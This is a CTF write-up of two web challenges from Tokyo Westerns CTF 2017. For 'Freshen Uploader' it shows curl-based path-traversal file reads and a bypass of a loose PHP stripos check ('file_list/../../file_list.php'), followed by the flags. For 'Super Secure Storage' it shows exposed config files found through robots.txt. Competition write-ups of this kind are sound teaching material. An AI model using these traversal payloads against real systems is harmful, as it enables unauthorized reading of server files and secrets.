Tokyo Westerns CTF 3rd 2017 - Write-ups

Information#

Version#

By Version Comment
noraj 1.0 Creation

CTF#

Freshen Uploader - Web#

In this year, we stopped using Windows so you can't use DOS tricks! http://fup.chal.ctf.westerns.tokyo/

We can see that download links look like: http://fup.chal.ctf.westerns.tokyo/download.php?f=6a92b449761226434f5fce6c8e87295a

So what about trying and LFI ?

1
2
3
4
5
6
7
8
9
10
11
12
$ curl 'http://fup.chal.ctf.westerns.tokyo/download.php?f=../../../../../../etc/os-release'
NAME="Ubuntu"
VERSION="16.04.3 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.3 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial

So this web app is vulnerable to LFI and we know the OS is Ubuntu 16.04.3 LTS.

We can begin with the first idea, downloading download.php itself:

1
2
3
4
5
6
7
8
$ curl 'http://fup.chal.ctf.westerns.tokyo/download.php?f=../download.php'
<?php
// TWCTF{then_can_y0u_read_file_list?}
$filename = $_GET['f'];
if(stripos($filename, 'file_list') != false) die();
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename='$filename'");
readfile("uploads/$filename");

So we get the first flag TWCTF{then_can_y0u_read_file_list?}, now let's see where is the second.

Maybe index.php will be usefull:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
$ curl 'http://fup.chal.ctf.westerns.tokyo/download.php?f=../index.php'
<?php
/**
*
*/
include('file_list.php');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Uploader</title>

<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container">
<div class="page-header">
<h1>Complex Uploader</h1>
<p class="lead">Upload feature is disabled.</p>
</div>
<h3>Files</h3>
<table class="table table-bordered">
<thead>
<tr>
<th>#</th>
<th>Filename</th>
<th>Size</th>
<th>Link</th>
</tr>
</thead>
<tbody>
<?php foreach($files as $file): ?>
<?php if($file[0]) continue; ?>
<tr>
<td><?= $file[1]; ?></td>
<td><?= $file[2]; ?></td>
<td><?= $file[3]; ?> bytes</td>
<td><a href="download.php?f=<?= $file[4]; ?>">Download</a></td>
</tr>
<?php endforeach;?>
</tbody>
</table>
</h3>
</div>

<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
</body>
</html>

Unfortunately file_list.php gives nothing, maybe it's not readable for www-data.

But ... wait ... read download.php again: if(stripos($filename, 'file_list') != false) die();.

From PHP manual stripos page we can read:

Description:

stripos — Find the position of the first occurrence of a case-insensitive substring in a string

Return Values:

Returns the position of where the needle exists relative to the beginnning of the haystack string (independent of offset). Also note that string positions start at 0, and not 1.

Returns FALSE if the needle was not found.

Warning This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Ok so stripos only need to match file_list and don't care of is after.

If $filename = '951470281beb8a490a941ac73bd10953';:

1
2
3
4
5
6
if(stripos(951470281beb8a490a941ac73bd10953, 'file_list') != false) die();
// stripos return false so (false != false) => false and no die() so we can continue
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename='951470281beb8a490a941ac73bd10953'");
// but we don't want to download this file but exploit LFI to retrieve file_list.php
readfile("uploads/951470281beb8a490a941ac73bd10953");

If $filename = 'file_list';:

1
2
3
4
5
6
7
8
if(stripos('file_list', 'file_list') != false) die();
// stripos return 0
// because of evaluated boolean (0 == false) => true, so (0 != false) => false and no die() so we can continue
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename='file_list'");
// but here no file exists
readfile("uploads/file_list");
// it's the same for $filename = file_list.php

So what?

  • if bad file name => if statement return false (stripos return false)
  • if file name begin with file_list => if statement return false (stripos return 0)
  • if file name contains but doesn't begin with file_list => if statement return true (and we die) because (stripos return n > 0)

So we need to create a string that begin with file_list in order to make stripos returning 0 but using the LFI to bypass readfile("uploads/$filename");.

Here we are, let's try $filename = 'file_list/../../file_list.php';:

1
2
3
4
5
6
if(stripos('file_list/../../file_list.php', 'file_list') != false) die();
// stripos return 0
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename='file_list/../../file_list.php'");
// LFI tricks we can read the file!
readfile("uploads/file_list/../../file_list.php");
1
2
3
4
5
6
7
8
$ curl 'http://fup.chal.ctf.westerns.tokyo/download.php?f=file_list/../../file_list.php'
<?php
$files = [
[FALSE, 1, 'test.cpp', 192, '6a92b449761226434f5fce6c8e87295a'],
[FALSE, 2, 'test.c', 325, '27259bca9edf408829bb749969449550'],
[TRUE, 3, 'flag_ef02dee64eb575d84ba626a78ad4e0243aeefd19145bc6502efe7018c4085213', 1337, 'flag_ef02dee64eb575d84ba626a78ad4e0243aeefd19145bc6502efe7018c4085213'],
[FALSE, 4, 'test.py', 94, '951470281beb8a490a941ac73bd10953'],
];

And here is the second flag:

1
2
$ curl 'http://fup.chal.ctf.westerns.tokyo/download.php?f=flag_ef02dee64eb575d84ba626a78ad4e0243aeefd19145bc6502efe7018c4085213'
TWCTF{php_is_very_secure}

Super Secure Storage - Web#

http://s3.chal.ctf.westerns.tokyo

This only preliminary step !!!

Famous check:

1
2
$ curl http://s3.chal.ctf.westerns.tokyo/robots.txt
Disallow: /super_secret_secure_shared_directory_for_customer/

Let's see what's inside:

1
2
3
4
5
6
7
8
9
$ curl http://s3.chal.ctf.westerns.tokyo/super_secret_secure_shared_directory_for_customer/
<html>
<head><title>Index of /super_secret_secure_shared_directory_for_customer/</title></head>
<body bgcolor="white">
<h1>Index of /super_secret_secure_shared_directory_for_customer/</h1><hr><pre><a href="../">../</a>
<a href="securestorage.conf">securestorage.conf</a> 02-Sep-2017 03:38 318
<a href="securestorage.ini">securestorage.ini</a> 02-Sep-2017 03:38 317
</pre><hr></body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ curl http://s3.chal.ctf.westerns.tokyo/super_secret_secure_shared_directory_for_customer/securestorage.conf
server {
listen 80;
server_name s3.chal.ctf.westerns.tokyo;
root /srv/securestorage;
index index.html;

location / {
try_files $uri $uri/ @app;
}

location @app {
include uwsgi_params;
uwsgi_pass unix:///tmp/uwsgi.securestorage.sock;
}

location ~ (\.py|\.sqlite3)$ {
deny all;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ curl http://s3.chal.ctf.westerns.tokyo/super_secret_secure_shared_directory_for_customer/securestorage.ini
[uwsgi]
chdir = /srv/securestorage
uid = www-data
gid = www-data
module = app
callable = app
socket = /tmp/uwsgi.securestorage.sock
chmod-socket = 666
vacuum = true
die-on-term = true
logto = /var/log/uwsgi/securestorage.log
processes = 8

env = SECRET_KEY=**CENSORED**
env = KEY=**CENSORED**
env = FLAG=**CENSORED**
Share